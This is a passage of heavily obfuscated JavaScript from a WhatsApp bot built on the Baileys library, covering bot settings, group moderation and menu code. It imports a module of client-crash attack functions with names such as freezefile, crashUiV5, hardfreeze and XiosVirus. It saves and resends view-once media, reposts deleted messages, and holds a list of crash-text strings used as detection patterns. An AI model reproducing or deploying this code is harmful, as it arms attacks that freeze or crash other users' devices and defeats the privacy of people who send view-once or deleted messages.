_0x52f9bb))_0x52f9bb[_0x4accf0(0x59f)]=_0x4accf0(0x162);if(!(_0x4accf0(0x34a)in _0x52f9bb))_0x52f9bb[_0x4accf0(0x34a)]=_0x4accf0(0x3b6);if(!(_0x4accf0(0x221)in _0x52f9bb))_0x52f9bb[_0x4accf0(0x221)]=!![];if(!(_0x4accf0(0x159)in _0x52f9bb))_0x52f9bb[_0x4accf0(0x159)]=!![];if(!('autoSticker'in _0x52f9bb))_0x52f9bb[_0x4accf0(0x57d)]=![];if(!(_0x4accf0(0x200)in _0x52f9bb))_0x52f9bb[_0x4accf0(0x200)]=!![];}else global['db'][_0x4accf0(0x5d7)][_0x4accf0(0x53e)][_0x4accf0(0x3ec)]={'status':new Date()*0x1,'setmenu':_0x4accf0(0x185),'docType':_0x4accf0(0x56e),'Qoted':_0x4accf0(0x2d2),'autoBio':!![],'multi':!![],'prefix':'!','fake':botName,'autoblockcmd':![],'replyType':_0x4accf0(0x162),'setwelcome':_0x4accf0(0x3b6),'autoReport':!![],'autoLevel':!![],'autoSticker':![],'publik':!![]};const {downloadContentFromMessage:_0x2a4059,generateWAMessageFromContent:_0x97f64c,getDevice:_0x363136,proto:_0x4e79c7,generateWAMessageContent:_0x384456}=require(_0x4accf0(0x288));async function _0x15e9c2(_0x2bfcf4){const _0x560f22=_0x4accf0,{imageMessage:_0x34c944}=await _0x384456({'image':{'url':_0x2bfcf4}},{'upload':_0x4dbacb[_0x560f22(0x3ab)]});return _0x34c944;}const _0x58b74c=_0x13a9d2?await _0x4dbacb[_0x4accf0(0x519)](_0x5c5597[_0x4accf0(0x3e8)])[_0x4accf0(0x5c1)](_0x5be425=>{}):'',_0x6e7831=_0x13a9d2?await _0x58b74c[_0x4accf0(0x434)]:'',_0x1f219f=_0x13a9d2?await _0x6e7831[_0x4accf0(0x58b)](_0x22597b=>_0x22597b[_0x4accf0(0x4bb)]!==null)[_0x4accf0(0x57b)](_0x5675b7=>_0x5675b7['id']):'',_0x17c976=_0x13a9d2?_0x58b74c[_0x4accf0(0x2b0)]:'',_0x1afde9=_0x13a9d2?_0x1f219f['includes'](_0x30aee7):![],_0x5d2456=_0x13a9d2?_0x1f219f[_0x4accf0(0x455)](_0x30aee7):![],_0x5a6cac=_0x13a9d2?_0x1f219f[_0x4accf0(0x455)](_0x240e0b):![],_0x65ab0d=_0x13a9d2?_0x1f219f[_0x4accf0(0x455)](_0x240e0b):![],_0xb49368=_0x13a9d2?db[_0x4accf0(0x5d7)]['chats'][_0x499c38][_0x4accf0(0x561)]:![],_0x81e77c=_0x13a9d2?db[_0x4accf0(0x5d7)][_0x4accf0(0x567)][_0x499c38][_0x4accf0(0x608)]:!![],_0x220dd3=_0x13a9d2?db[_0x4accf0(0x5d7)][_0x4accf0(0x567)][_0x499c38]['antidelete']:![],_0x58e5f6=_0x13a9d2?db[_0x4accf0(0x5d7)][_0x4accf0(0x567)][_0x499c38][_0x4accf0(0x20e)]:![],_0x3ced89=_0x13a9d2?db['data'][_0x4accf0(0x567)][_0x499c38]['antivirtex']:![],_0x564c31=_0x13a9d2?db[_0x4accf0(0x5d7)][_0x4accf0(0x567)][_0x499c38][_0x4accf0(0x340)]:![],_0x54a9ad=_0x37b1f2?!![]:_prem[_0x4accf0(0x330)](_0x240e0b,premium),_0x320e59=_0x13a9d2?db[_0x4accf0(0x5d7)][_0x4accf0(0x567)][_0x499c38]['viewonce']:![],_0x1db98b=_0x13a9d2?db[_0x4accf0(0x5d7)]['chats'][_0x499c38]['antibot']:![],_0x41b6f1=_0x13a9d2?db['data'][_0x4accf0(0x567)][_0x499c38]['nsfw']:![],_0x5c2ac6=_0x29bf34?db[_0x4accf0(0x5d7)][_0x4accf0(0x255)][_0x5c5597['sender']]['level']:!![],_0x306e40=_0x29bf34?db['data'][_0x4accf0(0x255)][_0x5c5597['sender']][_0x4accf0(0x516)]:!![],_0x7db198=_0x29bf34?db[_0x4accf0(0x5d7)][_0x4accf0(0x255)][_0x5c5597[_0x4accf0(0x1b3)]]['id']:!![],_0x391790=Math['floor'](Math[_0x4accf0(0x4e1)]()*0xa)+0x32,_0x4c6587=0x2710*_0x5c2ac6,_0x2fea8b=_0x306e40/_0x4c6587*0x64,_0x1893c5=_0x29bf34?db[_0x4accf0(0x5d7)][_0x4accf0(0x255)][_0x5c5597['sender']]['date']:!![];if(_0xf864fa<_0x4accf0(0x3d1))var _0x181671=_0x4accf0(0x554);if(_0xf864fa<'19:00:00')var _0x181671=_0x4accf0(0x554);if(_0xf864fa<_0x4accf0(0x263))var _0x181671=_0x4accf0(0x554);if(_0xf864fa<_0x4accf0(0x1ce))var _0x181671=_0x4accf0(0x554);if(_0xf864fa<_0x4accf0(0x2c0))var _0x181671=_0x4accf0(0x554);if(_0xf864fa<'06:00:00')var _0x181671='๐พ๐๐ด๐๐ฐ๐ต';_0x4dbacb['sendPresenceUpdate'](_0x4accf0(0x396),_0x499c38);const _0x5b1409=_0xb9f3c5===_0x4accf0(0x5aa),_0x75aa14=_0xb9f3c5===_0x4accf0(0x3e1),_0x28c53a=_0xb9f3c5==_0x4accf0(0x30f),_0x2ccaa4=_0xb9f3c5=='audioMessage',_0x1a66a6=_0xb9f3c5==_0x4accf0(0x1d2),_0x2bee13=_0xb9f3c5===_0x4accf0(0x5aa)||_0xb9f3c5==='videoMessage',_0x34d56f=_0xb9f3c5==_0x4accf0(0x27f),_0x4f98e1=_0xb9f3c5===_0x4accf0(0x5aa)||_0xb9f3c5===_0x4accf0(0x3e1)||_0xb9f3c5===_0x4accf0(0x30f)||_0xb9f3c5===_0x4accf0(0x37a)||_0xb9f3c5===_0x4accf0(0x233)||_0xb9f3c5==='locationMessage',_0x325b07=_0xb9f3c5===_0x4accf0(0x2d7)&&_0x51fa94[_0x4accf0(0x455)](_0x4accf0(0x5aa)),_0x463bf9=_0xb9f3c5==='extendedTextMessage'&&_0x51fa94[_0x4accf0(0x455)]('videoMessage'),_0x5acb55=_0xb9f3c5==='extendedTextMessage'&&_0x51fa94[_0x4accf0(0x455)]('stickerMessage'),_0x29d86d=_0xb9f3c5===_0x4accf0(0x2d7)&&_0x51fa94['includes'](_0x4accf0(0x37a)),_0x1aea99=_0xb9f3c5===_0x4accf0(0x2d7)&&_0x51fa94[_0x4accf0(0x455)]('quotedMessage'),_0x457f1b=_0xb9f3c5===_0x4accf0(0x2d7)&&_0x51fa94['includes'](_0x4accf0(0x3c7)),_0x79db6d=_0xb9f3c5===_0x4accf0(0x2d7)&&_0x51fa94['includes'](_0x4accf0(0x50f)),_0x5ccb9e=_0xb9f3c5==='extendedTextMessage'&&_0x51fa94['includes'](_0x4accf0(0x1d2)),_0x2728f3=_0xb9f3c5===_0x4accf0(0x2d7)&&_0x51fa94[_0x4accf0(0x455)](_0x4accf0(0x633)),_0x407005=_0xb9f3c5===_0x4accf0(0x1d2)&&_0x1941a1[_0x4accf0(0x4e9)][_0x4accf0(0x1d2)]?_0x1941a1['message'][_0x4accf0(0x1d2)]:_0xb9f3c5==_0x4accf0(0x5aa)&&_0x1941a1[_0x4accf0(0x4e9)]['imageMessage'][_0x4accf0(0x1e6)]?_0x1941a1[_0x4accf0(0x4e9)][_0x4accf0(0x5aa)][_0x4accf0(0x1e6)]:_0xb9f3c5==_0x4accf0(0x3e1)&&_0x1941a1['message'][_0x4accf0(0x3e1)][_0x4accf0(0x1e6)]?_0x1941a1[_0x4accf0(0x4e9)][_0x4accf0(0x3e1)]['caption']:_0xb9f3c5==_0x4accf0(0x2d7)&&_0x1941a1[_0x4accf0(0x4e9)][_0x4accf0(0x2d7)][_0x4accf0(0x17b)]?_0x1941a1[_0x4accf0(0x4e9)]['extendedTextMessage'][_0x4accf0(0x17b)]:'',_0x22bcb4=_0x407005[_0x4accf0(0x256)](0x0)['trim']()[_0x4accf0(0x5a5)](/ +/)[_0x4accf0(0x33f)]()[_0x4accf0(0x5a3)](),_0x259fc1=_0x407005[_0x4accf0(0x256)](0x0)['trim'](),_0x2d687f=(_0xf79bd,_0x11949d,_0x4f3d91,_0x4dbfb2,_0x81de4f,_0x4dcfac=null)=>{const _0x3e4e74=_0x4accf0;let _0x5dddeb=color('['+_0xf79bd+']',_0x11949d)+color('\x20['+_0x4f3d91+']',_0x3e4e74(0x29f))+color('\x20'+_0x4dbfb2,'cyan')+color(_0x3e4e74(0x59d),_0x3e4e74(0x495))+color('\x20'+_0x81de4f,_0x3e4e74(0x534));if(_0x4dcfac)_0x5dddeb+=color(_0x3e4e74(0x3ea),'purple')+color('\x20'+_0x4dcfac,'deeppink');console[_0x3e4e74(0x5b7)](_0x5dddeb);},_0x218677=async _0x1ca446=>{const _0x545578=_0x4accf0;_0x4dbacb[_0x545578(0x367)](_0x499c38,{'text':_0x2d8b27(_0x1ca446+_0x545578(0x2ce)+caption)});},_0x3508ec=async _0x410bee=>{const _0x273550=_0x4accf0;_0x4dbacb[_0x273550(0x367)](_0x499c38,{'text':_0x410bee});},_0x4bc1b3=moment['tz'](_0x4accf0(0x2f3))[_0x4accf0(0x3f1)](_0x4accf0(0x4e3));!_0x13a9d2&&!_0x4f1fdd&&_0x2d687f(_0x4accf0(0x317),_0x4accf0(0x258),_0x4bc1b3,_0x2be4b6,_0x4de663);_0x13a9d2&&!_0x4f1fdd&&_0x2d687f(_0x4accf0(0x31a),'gold',_0x4bc1b3,_0x2be4b6,_0x4de663,_0x55f789);!_0x13a9d2&&_0x4f1fdd&&_0x2d687f(_0x4accf0(0x23d),_0x4accf0(0x631),_0x4bc1b3,_0x3b6cc3+'\x20['+_0x4aa46e[_0x4accf0(0x2e7)]+']',_0x4de663);_0x13a9d2&&_0x4f1fdd&&_0x2d687f(_0x4accf0(0x23d),_0x4accf0(0x631),_0x4bc1b3,_0x3b6cc3+'\x20['+_0x4aa46e[_0x4accf0(0x2e7)]+']',_0x4de663,_0x55f789);const {crashcursor:_0x5a2826,InfiNite:_0x1aae8a,freezefile:_0x3af4cf,buginvite:_0x185ed1,crashUiV5:_0x571d69,systemUi:_0x57d3c8,systemUi2:_0x21b806,crashui2:_0x10e311,sendOfferCall:_0x3b2f3a,InVisiLoc:_0x47b280,bugnew:_0x5f021d,XeonXRobust:_0x107161,Fuckui:_0x45f662,InvisibleLoadFast:_0x213d04,mati2:_0x299c2d,hardfreeze:_0x50cd32,betacrash:_0x590d1d,UpiCrash:_0x48ed33,VenCrash:_0x201d7c,AppXCrash:_0x49b596,SmCrash:_0x572785,FBiphone:_0x4850c2,QXIphone:_0x40dcfa,caywzzaja_notif:_0x341b07,QPayIos:_0x270ac6,XeonIosOld:_0x3afb95,XeonIosPayOld:_0x534f89,XeonIosNew:_0x2c4992,QPayStriep:_0x146a43,QDIphone:_0x19235f,IosMJ:_0x132122,XiosVirus:_0x2a4b23}=require(_0x4accf0(0x387)),_0x2d8b27=(_0x5ad19b,_0xac9dd2=0x1)=>{const _0x1b9e1a=_0x4accf0;var _0x3323a7=_0x1b9e1a(0x2aa)['split'](''),_0x245e2f={0x1:_0x1b9e1a(0x25b)},_0x47c6d9=[];_0x3323a7['map']((_0x39f460,_0x5a392e)=>_0x47c6d9[_0x1b9e1a(0x645)]({'original':_0x39f460,'convert':_0x245e2f[_0xac9dd2][_0x1b9e1a(0x5a5)]('')[_0x5a392e]}));var _0x4d98ea=_0x5ad19b[_0x1b9e1a(0x5a3)]()[_0x1b9e1a(0x5a5)](''),_0x5e13a0=[];return _0x4d98ea['map'](_0x132220=>{const _0x9afc2d=_0x1b9e1a,_0xe7372d=_0x47c6d9[_0x9afc2d(0x5cd)](_0x508731=>_0x508731[_0x9afc2d(0x26f)]==_0x132220);_0xe7372d?_0x5e13a0[_0x9afc2d(0x645)](_0xe7372d['convert']):_0x5e13a0[_0x9afc2d(0x645)](_0x132220);}),_0x5e13a0[_0x1b9e1a(0x2ba)]('');};let _0x2ba34d=global['db'][_0x4accf0(0x5d7)][_0x4accf0(0x5af)][_0x5f5b2e];if(_0x2ba34d)_0x5c5597[_0x4accf0(0x1df)](_0x2ba34d['respon']);const _0x4e0b27=_0x333354=>{const _0x400fb5=_0x4accf0;return _0x333354[_0x400fb5(0x4d2)]('@')?[..._0x333354['matchAll'](/@([0-9]{5,16}|0)/g)]['map'](_0x15cfaf=>_0x15cfaf[0x1]+_0x400fb5(0x5b3)):[_0x240e0b];},_0x3e2898={'key':{'fromMe':![],'participant':_0x4accf0(0x219),..._0x499c38?{'remoteJid':_0x4accf0(0x411)}:{}},'message':{'extendedTextMessage':{'text':_0x5f5b2e}}},_0x4dc59e={'key':{'participant':_0x4accf0(0x219),..._0x5c5597[_0x4accf0(0x3e8)]?{'remoteJid':'status@broadcast'}:{}},'message':{'contactMessage':{'displayName':''+_0x4de663,'vcard':_0x4accf0(0x4ee)+_0x5c5597[_0x4accf0(0x1b3)][_0x4accf0(0x5a5)]('@')[0x0]+':+'+_0x5c5597[_0x4accf0(0x1b3)][_0x4accf0(0x5a5)]('@')[0x0]+'\x0aitem1.X-ABLabel:Ponsel\x0aEND:VCARD','jpegThumbnail':null,'thumbnail':null,'sendEphemeral':!![]}}};require(_0x4accf0(0x307))(_0x1d52bb,_0xad3cd8,_0x3b6cc3,_0x218677);const _0x4faf40=_0x107a38=>{const _0x1bb9da=_0x4accf0;_0x4dbacb[_0x1bb9da(0x367)](_0x499c38,{'audio':{'url':_0x107a38},'ptt':!![],'waveform':[0x0,0x0,0x32,0x0,0x0,0x0,0xa,0x50,0xa,0x3c,0xa,0x63,0x3c,0x1e,0xa,0x0,0x0,0x0],'mimetype':_0x1bb9da(0x593)});},_0x579fd9=_0x54a7c3=>{const _0x3b8f6b=_0x4accf0;_0x4dbacb[_0x3b8f6b(0x367)](_0x499c38,{'sticker':{'url':_0x54a7c3}},{'quoted':_0x5c5597});},_0x413a1d=_0x485ec9=>{const _0x1e603b=_0x4accf0;return _0x485ec9[Math['floor'](Math[_0x1e603b(0x4e1)]()*_0x485ec9[_0x1e603b(0x2e7)])];},_0x2c9e4c=vnMenu,_0x460b36=_0x2c9e4c[Math['floor'](Math[_0x4accf0(0x4e1)]()*_0x2c9e4c[_0x4accf0(0x2e7)])],_0x33789e=(_0x57f98a,_0x202605,_0x291ddc)=>{const _0x24ccaa=_0x4accf0;_0x291ddc==null||_0x291ddc==undefined||_0x291ddc==![]?_0x4dbacb['sendMessage'](_0x499c38,{'text':_0x57f98a,'mentions':_0x202605,'contextInfo':{'mentionedJid':_0x202605}}):_0x4dbacb[_0x24ccaa(0x367)](_0x499c38,{'mentions':_0x202605,'text':_0x57f98a,'contextInfo':{'mentionedJid':_0x202605}},{'quoted':_0x1941a1});},_0xa987ec=function(_0x22f095,_0x4d8f42){const _0x73e299=_0x4accf0;let _0x42f42d=![];Object['keys'](_0x4d8f42)['forEach'](_0x226a5a=>{_0x4d8f42[_0x226a5a]['id']===_0x22f095&&(_0x42f42d=_0x226a5a);});if(_0x42f42d!==![])_0x4d8f42[_0x42f42d][_0x73e299(0x4f9)]+=0x1;else{let _0x32cbd2={'id':_0x22f095,'spam':0x1};_0x4d8f42[_0x73e299(0x645)](_0x32cbd2);}},_0x4ddf28=async function(_0x378a10,_0x70f54c){const _0x35d7e6=_0x4accf0;let _0x36452c=![];Object[_0x35d7e6(0x299)](_0x70f54c)[_0x35d7e6(0x410)](_0x1065ca=>{_0x70f54c[_0x1065ca]['id']===_0x378a10&&(_0x36452c=_0x1065ca);});if(_0x36452c!==![]){if(_0x70f54c[_0x36452c][_0x35d7e6(0x4f9)]>0x7){if(db[_0x35d7e6(0x5d7)]['users'][_0x240e0b][_0x35d7e6(0x3a9)][_0x35d7e6(0x2cd)]||!_0x37b1f2)return;let _0x1b86cb={'id':_0x1d52bb,'status':!![],'date':_0x4cc469,'reason':_0x35d7e6(0x202)};db[_0x35d7e6(0x5d7)][_0x35d7e6(0x255)][woke]['banned']=_0x1b86cb,console[_0x35d7e6(0x5b7)](_0x378a10+_0x35d7e6(0x220)+_0x70f54c[_0x36452c][_0x35d7e6(0x4f9)]+_0x35d7e6(0x600)),_0x218677(_0x35d7e6(0x167));}}else console[_0x35d7e6(0x5b7)](_0x35d7e6(0x414)+_0x70f54c[_0x36452c][_0x35d7e6(0x4f9)]);};_sewa['expiredCheck'](_0x4dbacb,sewa),_prem[_0x4accf0(0x401)](premium);if(SpamExpired(_0x1d52bb,'Case',AntiSpam)){let _0x143a80=![];for(let _0x496680 of spammer){_0x496680['id']==_0x1d52bb&&(_0x143a80=_0x496680);}_0x143a80!==![]&&(spammer[_0x4accf0(0x60b)](_0x143a80,0x1),console[_0x4accf0(0x5b7)](chalk[_0x4accf0(0x314)](color(_0x4accf0(0x48e),_0x4accf0(0x638))),_0x4accf0(0x157)));}SpamExpired(_0x1d52bb,_0x4accf0(0x291),AntiSpam);if(_0x4f1fdd&&cekSpam(_0x4accf0(0x33a),_0x1d52bb,AntiSpam)){_0xa987ec(_0x1d52bb,spammer),_0x4ddf28(_0x1d52bb,spammer),console['log'](chalk['bgYellowBright'](color(_0x4accf0(0x2af),_0x4accf0(0x638))),_0x4accf0(0x5df));return;}if(antiSpam&&_0x4f1fdd&&msgFilter[_0x4accf0(0x25f)](_0x499c38)&&!_0x13a9d2&&!_0xe3b6bf&&!_0x37b1f2)return addSpam(_0x4accf0(0x33a),_0x1d52bb,'5s',AntiSpam),_0xa987ec(_0x1d52bb,spammer),_0x218677(_0x4accf0(0x22a));if(antiSpam&&_0x4f1fdd&&msgFilter[_0x4accf0(0x25f)](_0x499c38)&&_0x13a9d2&&!_0xe3b6bf&&!_0x37b1f2)return addSpam(_0x4accf0(0x33a),_0x1d52bb,'10s',AntiSpam),_0xa987ec(_0x1d52bb,spammer),_0x218677(_0x4accf0(0x22a));if(_0x4f1fdd&&!_0x37b1f2)msgFilter[_0x4accf0(0x376)](_0x499c38);if(global[_0x4accf0(0x3f6)]&&_0x3e26ad)try{const _0x192c88=['๐','๐','๐','๐ฅถ','๐ต','๐','๐','๐ค','๐','๐','๐','๐ค','๐ฅฐ','๐','๐','๐ฌ','๐','๐','๐','๐ฅณ','๐คฉ','๐
','๐คญ','๐ท','๐ด','๐ค','๐ฎ','๐ฌ','๐ช','๐
','๐','๐ค','๐ฅบ','๐ค','๐','๐','๐ณ','๐','๐','๐ฅถ','๐','๐','๐ก','๐ฌ','๐คง','๐ฉ','๐','๐ถ','๐ณ','๐','๐','๐','๐คญ','๐คฉ','๐บ',_0x4accf0(0x538),'๐ค','๐คฏ','๐ฑ','๐ฅต','๐ถ','๐','๐ค','๐ค','๐คง','๐คฎ','๐คซ','๐ฅธ','๐ง','๐','๐ซฃ','๐ฅฑ','๐ค',_0x4accf0(0x371),'๐ค '],_0x1a2801=()=>_0x192c88[Math[_0x4accf0(0x486)](Math[_0x4accf0(0x4e1)]()*_0x192c88[_0x4accf0(0x2e7)])];if(_0x5c5597['key']&&_0x5c5597[_0x4accf0(0x19c)][_0x4accf0(0x222)]&&_0x5c5597[_0x4accf0(0x19c)]['id']){const _0x11ab5a=_0x1a2801();await _0x4dbacb[_0x4accf0(0x367)](_0x5c5597[_0x4accf0(0x3e8)],{'react':{'text':_0x11ab5a,'key':_0x5c5597[_0x4accf0(0x19c)]}});}}catch(_0x31985b){console[_0x4accf0(0x179)](_0x4accf0(0x2a2),_0x31985b[_0x4accf0(0x4e9)]||_0x31985b);}if(!_0x52f9bb[_0x4accf0(0x200)]&&!_0x37b1f2)return;if(_0x52f9bb){}else global['db'][_0x4accf0(0x5d7)][_0x4accf0(0x53e)]['settingbot']={'status':new Date()*0x1};if(new Date()*0x1-_0x52f9bb['status']>0x7d0&&_0x52f9bb&&_0x52f9bb[_0x4accf0(0x399)]){let _0x562d63=global['db'][_0x4accf0(0x5d7)]['others']['runtime'],_0x2393cb=new Date()-_0x562d63[_0x4accf0(0x33d)],_0x1dc2e6='โ๏ธ๐๐๐๐\x20๐๐๐๐๐-๐๐๐\x20๐๐โ๏ธ';await _0x4dbacb[_0x4accf0(0x43c)](_0x1dc2e6)[_0x4accf0(0x5c1)](_0xc7ff3a=>_0xc7ff3a),_0x52f9bb['status']=new Date()*0x1;}async function _0x2cabfc(){const _0x466582=_0x4accf0;let _0x3dcea6=[''+themeemoji];await _0x4dbacb[_0x466582(0x367)](_0x499c38,{'react':{'text':_0x3dcea6,'key':_0x5c5597[_0x466582(0x19c)]}});}async function _0x22fcef(){const _0x5301fa=_0x4accf0;let _0x4a7158=['๐'];await _0x4dbacb[_0x5301fa(0x367)](_0x499c38,{'react':{'text':_0x4a7158,'key':_0x5c5597[_0x5301fa(0x19c)]}});}async function _0x376d98(){const _0x5b759c=_0x4accf0;let _0x21613d=['๐'];await _0x4dbacb[_0x5b759c(0x367)](_0x499c38,{'react':{'text':_0x21613d,'key':_0x5c5597['key']}});}async function _0x5c44e8(){const _0x21eb34=_0x4accf0;try{if(global[_0x21eb34(0x368)]===!![]){let _0x11be4e=await _0x4dbacb['fetchStatusUpdates']();for(let _0x554a38 of _0x11be4e){await _0x4dbacb[_0x21eb34(0x45e)](_0x554a38['id']);}}}catch(_0x4f2ecf){console[_0x21eb34(0x179)]('Error\x20in\x20autoViewStatus:',_0x4f2ecf);}}if((_0xb9f3c5=='viewOnceMessage'||_0x2728f3)&&(_0x320e59||_0x2be4b6[_0x4accf0(0x513)](_0x4accf0(0x594)))){const {downloadContentFromMessage:_0xca09b8}=(await import('@whiskeysockets/baileys'))[_0x4accf0(0x4b0)];if(_0x2728f3)var _0x15a16a=_0x5c5597[_0x4accf0(0x458)][_0x4accf0(0x4e9)];else var _0x15a16a=_0x5c5597['message'][_0x4accf0(0x404)]['message'];let _0x1e20f0=Object[_0x4accf0(0x299)](_0x15a16a)[0x0],_0x40e69f=await _0xca09b8(_0x15a16a[_0x1e20f0],_0x1e20f0==_0x4accf0(0x5aa)?_0x4accf0(0x1e8):_0x4accf0(0x4e2)),_0x48ec15=Buffer[_0x4accf0(0x2d6)]([]);for await(const _0x17b75d of _0x40e69f){_0x48ec15=Buffer['concat']([_0x48ec15,_0x17b75d]);}if(/video/[_0x4accf0(0x17d)](_0x1e20f0))_0x4dbacb[_0x4accf0(0x47b)](_0x5c5597[_0x4accf0(0x3e8)],_0x48ec15,_0x4accf0(0x1d6),_0x15a16a[_0x1e20f0][_0x4accf0(0x1e6)]||'',_0x5c5597);else/image/[_0x4accf0(0x17d)](_0x1e20f0)&&_0x4dbacb['sendFile'](_0x5c5597[_0x4accf0(0x3e8)],_0x48ec15,_0x4accf0(0x5e1),_0x15a16a[_0x1e20f0]['caption']||'',_0x5c5597);}if(_0x13a9d2&&_0xb49368){if(_0x2be4b6[_0x4accf0(0x455)](_0x4accf0(0x3bc))){if(_0x65ab0d)return _0x218677('*ใ\x20LINK\x20DETECTED\x20ใ*\x0a>\x20*GROUP\x20ADMINS\x20ARE\x20EXCEPTIONAL*');if(_0x366aff[_0x4accf0(0x455)](_0x240e0b))return _0x218677('*ใ\x20LINK\x20DETECTED\x20ใ*');let _0x2747c1=await _0x4dbacb['groupInviteCode'](_0x499c38);if(_0x2be4b6[_0x4accf0(0x455)](''+_0x2747c1))return _0x218677(_0x4accf0(0x527));if(_0x2be4b6[_0x4accf0(0x455)](_0x4accf0(0x631))||_0x2be4b6[_0x4accf0(0x455)]('admin'))return _0x218677(_0x4accf0(0x3eb));_0x218677(_0x4accf0(0x621)),setTimeout(()=>{const _0x22cf3a=_0x4accf0;if(_0x1afde9)_0x4dbacb[_0x22cf3a(0x367)](_0x499c38,{'delete':_0x5c5597[_0x22cf3a(0x19c)]});_0x4dbacb['groupParticipantsUpdate'](_0x499c38,[_0x240e0b],_0x22cf3a(0x36b))['catch'](_0x519b8c=>{_0x218677('BOT\x20MUST\x20BE\x20ADMIN');});},0x7d0);}}if(_0xb9f3c5===_0x4accf0(0x4a8)&&global['antidelete']){let _0x2fda31=_0x13d6a0[_0x4accf0(0x230)][0x0][_0x4accf0(0x4e9)]['protocolMessage'];try{let _0x49596b=Object[_0x4accf0(0x422)](await _0x4dbacb['chats'])[_0x4accf0(0x5cd)](([_0x355a8a,_0x4769ad])=>_0x4769ad[_0x4accf0(0x230)]&&_0x4769ad[_0x4accf0(0x230)][_0x2fda31['key']['id']]);if(_0x49596b&&_0x49596b[0x1]!==undefined){let _0x263f49=JSON[_0x4accf0(0x57c)](JSON[_0x4accf0(0x3e7)](_0x49596b[0x1][_0x4accf0(0x230)][_0x2fda31[_0x4accf0(0x19c)]['id']])),_0x29f36c=_0x4accf0(0x5d5)+(_0x4accf0(0x606)+(_0x49596b[0x1]?.['metadata']?.[_0x4accf0(0x430)]||_0x4accf0(0x2bd))+'\x0a')+('๐ค\x20*Sender:*\x20'+(_0x263f49[_0x4accf0(0x211)]||_0x4accf0(0x64c))+'\x0a')+('>\x20'+caption);await _0x4dbacb['sendMessage'](_0x30aee7,{'text':_0x29f36c}),await _0x4dbacb[_0x4accf0(0x261)](_0x30aee7,_0x263f49)[_0x4accf0(0x5c1)](_0x4dca55=>console[_0x4accf0(0x5b7)](_0x4dca55,_0x263f49));}}catch(_0x5d96ba){console[_0x4accf0(0x179)]('Error\x20handling\x20anti-delete:',_0x5d96ba);}}if(_0x13a9d2&&_0x3ced89){if(_0x2be4b6[_0x4accf0(0x455)]('เนเนเนเน')||_0x2be4b6[_0x4accf0(0x455)]('เธเธธ')||_0x2be4b6['includes'](_0x4accf0(0x14f))||_0x2be4b6[_0x4accf0(0x455)](_0x4accf0(0x454))||_0x2be4b6[_0x4accf0(0x455)](_0x4accf0(0x478))||_0x2be4b6[_0x4accf0(0x455)](_0x4accf0(0x1b9))||_0x2be4b6[_0x4accf0(0x455)]('*โแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกแกโโขแกโโขแกโโขแกโโขแกโโขแกโโขแกโโขแกโโขแกโโขแกโโขแกโโโขแกโขแกโขแกโขแกโขแกโขแกโขแกโขโโขแกโขแกโขแกโขแกโขแกโขแกโขโโแกโแกโแกโขแกโขแกโขโโขโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกแกโโขแกโโขแกโโขแกโโขแกโโขแกโโขแกโโขแกโโขแกโโขแกโโขแกโโโขแกโขแกโขแกโขแกโขแกโขแกโขแกโขโโขแกโขแกโขแกโขแกโขแกโขแกโขโโแกโแกโแกโขแกโขแกโขโโขโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโ\x20แกโ๏ฟฝ๏ฟฝ๏ฟฝโแกโแกโแกโแกโแกแกโโขแกโโขแกโโขแกโโขแกโโขแกโโขแกโโขแกโโขแกโโขแกโโขแกโโโขแกโขแกโขแกโขแกโขแกโขแกโขแกโขโโขแกโขแกโขแกโขแกโขแกโขแกโขโโแกโแกโแกโขแกโขแกโขโโขโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโแกโ')||_0x2be4b6[_0x4accf0(0x455)](_0x4accf0(0x36a))||_0x2be4b6[_0x4accf0(0x455)]('.*เกเฃฉเฃฉเฃฉเฃฉเฃจเฃจเฃจเฃฐเฃฐเฃฐเฃฒเฃฒเฃฒเฃฒเฃปเฃปเฃปเฃผเฃผเฃผเฃฝเฃฝเฃพเฃถเฃถเฃทเฃฏเฃฏเฃฎเฃฎเฃตเฃดเฃฌเฃฌเฃฌเฃคเฃคเฃฆเฃฏเฃงเฃง*')||_0x2be4b6[_0x4accf0(0x455)]('แฅ')||_0x2be4b6[_0x4accf0(0x455)]('ุ')||_0x2be4b6[_0x4accf0(0x455)](_0x4accf0(0x351))){if(_0x65ab0d)return _0x218677(_0x4accf0(0x14e));console[_0x4accf0(0x5b7)](color(_0x4accf0(0x4c4),_0x4accf0(0x26d)),color(_0x4accf0(0x257),_0x4accf0(0x44f))),_0x4dbacb['sendMessage'](_0x5c5597[_0x4accf0(0x3e8)],_0x4accf0(0x379)+_0x240e0b['split']('@')[0x0]);if(!_0x1afde9)return;if(_0x37b1f2)return;await _0x4dbacb[_0x4accf0(0x4cf)](_0x499c38,[_0x240e0b],_0x4accf0(0x36b)),_0x4dbacb['sendMessage'](_0x499c38,{'delete':_0x5c5597['key']}),await _0x4dbacb['sendMessage'](_0x30aee7+_0x4accf0(0x5b3),{'text':_0x4accf0(0x2a7)+(_0x13a9d2?_0x4accf0(0x46e)+_0x55f789+_0x4accf0(0x596):'')});}}try{switch(_0x3b6cc3){case _0x4accf0(0x440):case _0x4accf0(0x612):{await _0x2cabfc();const _0x3afb24=images[Math[_0x4accf0(0x486)](Math[_0x4accf0(0x4e1)]()*images['length'])];_0x4dbacb[_0x4accf0(0x367)](_0x5c5597[_0x4accf0(0x3e8)],{'image':{'url':_0x3afb24},'caption':_0x2d8b27(_0x4accf0(0x218)+_0x4de663+_0x4accf0(0x35e)+(_0x54a9ad?_0x4accf0(0x190):'๐ต๐๐๐')+_0x4accf0(0x4a7)+(_0x2a9eeb?_0x4accf0(0x4fc):_0x4accf0(0x61d))+_0x4accf0(0x3f2)+_0xad3cd8+'```\x0a>\x20*๐ *```SYSTEM\x20:\x20'+platform[_0x4accf0(0x2bb)]()+_0x4accf0(0x369)+arch+'```\x0a>\x20*๐ 